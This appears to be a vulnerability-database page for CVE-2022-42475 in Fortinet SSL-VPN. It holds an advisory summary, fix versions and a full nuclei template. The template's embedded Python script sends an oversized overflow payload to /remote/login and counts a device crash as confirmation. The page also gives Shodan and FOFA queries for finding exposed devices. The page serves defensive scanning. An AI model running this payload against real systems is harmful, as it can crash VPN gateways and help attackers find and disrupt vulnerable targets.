Browse / CVEs / CVE-2022-42475
CVE-2022-42475· fortinet / fortios· CWE-197, CWE-787
Fortinet SSL-VPN - Heap-Based Buffer Overflow
Exploited in the wild. Listed by CISA on 2022-12-13; known to be used by ransomware.
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
Impact
Remote attackers can execute arbitrary code or commands, potentially leading to full system compromise.
Fix
Fixed in: FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16 FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15 FortiProxy >= 7.2.2, 7.0.8, 2.0.12
How to confirm it
Send: GET {{BaseURL}}/remote/login ; GET {{BaseURL}}/login
Positive when: contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid") and status_code == 200
Positive when: contains "Target appears to be VULNERABLE"Run it with nuclei: nuclei -id CVE-2022-42475 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-42475
info:
name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
author: 0xhaggis,pszyszkowski,pussycat0x
severity: critical
description: |
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
impact: |
Remote attackers can execute arbitrary code or commands, potentially leading to full system compromise.
remediation: |
Fixed in:
FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
FortiProxy >= 7.2.2, 7.0.8, 2.0.12
reference:
- https://github.com/0xhaggis/CVE-2022-42475
- https://fortiguard.com/psirt/FG-IR-22-398
- https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
- https://bishopfox.com/blog/exploit-cve-2022-42475
- https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-42475
cwe-id: CWE-197,CWE-787
epss-score: 0.99474
epss-percentile: 0.99943
cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: fortinet
product: fortios
shodan-query:
- cpe:"cpe:2.3:o:fortinet:fortios"
- http.html:"/remote/login" "xxxxxxxx"
- http.favicon.hash:"945408572"
fofa-query:
- body="/remote/login" "xxxxxxxx"
- icon_hash="945408572"
tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,intrusive,kev,vkev,vuln
flow: http () && code()
http:
- method: GET
path:
- "{{BaseURL}}/remote/login"
- "{{BaseURL}}/login"
stop-at-first-match: true
host-redirects: true
matchers:
- type: dsl
internal: true
dsl:
- 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")'
- 'status_code == 200'
condition: and
code:
- engine:
- py
- python3
source: |
import sys, os, time, socket, ssl
PADDING = 0x4141414141414141
PADDING_LEN = 1024*12
CONTENT_LENGTH = b"4294967297"
# Configuration for false positive prevention
POST_EXPLOIT_WAIT = 2 # Seconds to wait before post-exploit check
POST_EXPLOIT_RETRIES = 3 # Number of retries for post-exploit connectivity
CONNECTIVITY_TIMEOUT = 5 # Timeout for connectivity checks
class SSLVPNExploit:
def __init__(self, host, port):
self.host = host
self.port = port
self.useSSL = os.getenv("Scheme") == "https"
def create_socket(self, timeout=2.0):
"""Create a new socket connection"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
if self.useSSL:
ctx = ssl._create_unverified_context()
sock = ctx.wrap_socket(sock)
sock.connect((self.host, self.port))
return sock
except Exception as e:
return None
def check_connectivity(self, timeout=CONNECTIVITY_TIMEOUT):
"""
Check if target is responsive with a simple GET request.
Returns: (success: bool, response_time: float)
"""
try:
start_time = time.time()
sock = self.create_socket(timeout)
if sock is None:
return False, 0
get_req = b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
get_req += b"\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"
sock.sendall(get_req)
sock.settimeout(timeout)
response = sock.recv(4096)
elapsed = time.time() - start_time
sock.close()
return len(response) > 0, elapsed
except Exception as e:
return False, time.time() - start_time
def check_by_get(self):
"""Pre-flight connectivity check"""
print("[>] Pre-flight connectivity check...")
success, elapsed = self.check_connectivity()
if success:
print(f"[+] Target is responsive (response time: {elapsed:.2f}s)")
return True
else:
print("[!] Target is not responsive - cannot test")
return None
def send_exploit_payload(self):
"""
Send the exploit payload and analyze the response.
Returns: (result_type: str, elapsed_time: float, details: str)
Result types: 'PATCHED', 'TIMEOUT', 'EMPTY_RESPONSE', 'CONNECTION_DROP', 'ERROR'
"""
req = bytearray(b"")
req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
req += b"\r\nContent-Length: " + CONTENT_LENGTH
req += b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
req += b"AAAAAAAA" * PADDING_LEN
try:
sock = self.create_socket(timeout=10)
if sock is None:
return 'ERROR', 0, 'Could not connect'
start_time = time.time()
sock.sendall(req)
sock.settimeout(10)
buf = sock.recv(1048576)
elapsed = time.time() - start_time
sock.close()
if len(buf) == 0:
return 'EMPTY_RESPONSE', elapsed, 'Empty response received'
if b"413" in buf or b"Request Entity Too Large" in buf:
return 'PATCHED', elapsed, 'Target returned 413 - patched'
return 'UNEXPECTED', elapsed, buf.decode("utf-8", errors="replace")[:200]
except socket.timeout:
return 'TIMEOUT', time.time() - start_time, 'Socket timeout'
except Exception as e:
return 'CONNECTION_DROP', time.time() - start_time, str(e)
def post_exploit_connectivity_check(self):
"""
Check if target is still responsive after exploit attempt.
This is the KEY differentiator between:
- Firewall/WAF drop (device still responsive)
- Actual crash (device unresponsive)
Returns: (responsive: bool, details: str)
"""
print(f"[>] Waiting {POST_EXPLOIT_WAIT}s before post-exploit check...")
time.sleep(POST_EXPLOIT_WAIT)
for attempt in range(1, POST_EXPLOIT_RETRIES + 1):
print(f"[>] Post-exploit connectivity check (attempt {attempt}/{POST_EXPLOIT_RETRIES})...")
success, elapsed = self.check_connectivity(timeout=CONNECTIVITY_TIMEOUT)
if success:
return True, f"Device responsive after {elapsed:.2f}s"
time.sleep(1)
return False, "Device unresponsive after multiple attempts"
def is_vulnerable(self):
"""
Improved vulnerability detection with false positive prevention.
Detection logic:
1. If target returns 413 -> PATCHED (not vulnerable)
2. If target times out waiting for data -> NOT VULNERABLE
3. If connection drops/empty response:
a. Check if device is still responsive
b. If responsive -> FALSE POSITIVE (firewall/WAF dropped connection)
c. If unresponsive -> LIKELY VULNERABLE (device crashed)
"""
print("[>] Sending exploit payload...")
result, elapsed, details = self.send_exploit_payload()
print(f"[>] Exploit result: {result} (elapsed: {elapsed:.2f}s)")
print(f"[>] Details: {details[:100]}...")
# Case 1: Target is patched (413 response)
if result == 'PATCHED':
print("[+] Target is PATCHED - returned 413 Request Entity Too Large")
return False
# Case 2: Target waited for more data (timeout)
if result == 'TIMEOUT':
print("[+] Target waited for more data - NOT VULNERABLE")
return False
# Case 3: Connection drop or empty response - NEEDS VERIFICATION
if result in ('EMPTY_RESPONSE', 'CONNECTION_DROP'):
print("[!] Connection dropped or empty response - verifying if this is a false positive...")
# KEY FIX: Check if device is still responsive
responsive, check_details = self.post_exploit_connectivity_check()
if responsive:
# Device is still responsive = Firewall/WAF dropped the connection
print(f"[!] FALSE POSITIVE DETECTED: {check_details}")
print("[!] Device is still responsive after exploit attempt")
print("[!] This indicates firewall/IPS/WAF intervention, NOT a crash")
return False # NOT VULNERABLE - false positive
else:
# Device is unresponsive = Possible crash
print(f"[+] Device appears to have crashed: {check_details}")
print("[+] Target may be VULNERABLE (device unresponsive after exploit)")
return True # LIKELY VULNERABLE
# Case 4: Unexpected response
if result == 'UNEXPECTED':
print(f"[?] Unexpected response received - manual review needed")
print(f"[?] Response: {details}")
return None
# Case 5: Error
print(f"[!] Error during exploit: {details}")
return None
if __name__ == '__main__':
host = os.getenv("Host")
port = int(os.getenv("Port"))
print("=" * 60)
print("CVE-2022-42475 - Fortinet SSL-VPN Heap Overflow Check")
print("(With False Positive Prevention)")
print("=" * 60)
print(f"[*] Target: {host}:{port}")
print(f"[*] SSL/TLS: {os.getenv('Scheme') == 'https'}")
exploit = SSLVPNExploit(host, port)
# Step 1: Pre-flight connectivity check
check = exploit.check_by_get()
if check != True:
print("[!] Pre-flight check failed - target unreachable")
exit(1)
# Step 2: Vulnerability check with false positive prevention
result = exploit.is_vulnerable()
if result == None:
print("[!] An error occurred testing for the vulnerability.")
print("[!] Is this even a FortiGate SSL-VPN?")
exit(2)
if result == True:
print("=" * 60)
print("[+] Target appears to be VULNERABLE")
print("[+] Device became unresponsive after exploit payload")
print("=" * 60)
exit(0)
else:
print("=" * 60)
print("[+] Target is NOT vulnerable")
print("=" * 60)
exit(1)
matchers:
- type: word
words:
- "Target appears to be VULNERABLE"References
- https://github.com/0xhaggis/CVE-2022-42475
- https://fortiguard.com/psirt/FG-IR-22-398
- https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
- https://bishopfox.com/blog/exploit-cve-2022-42475
- https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
Use this check only on systems you are authorised to test. Where the data comes from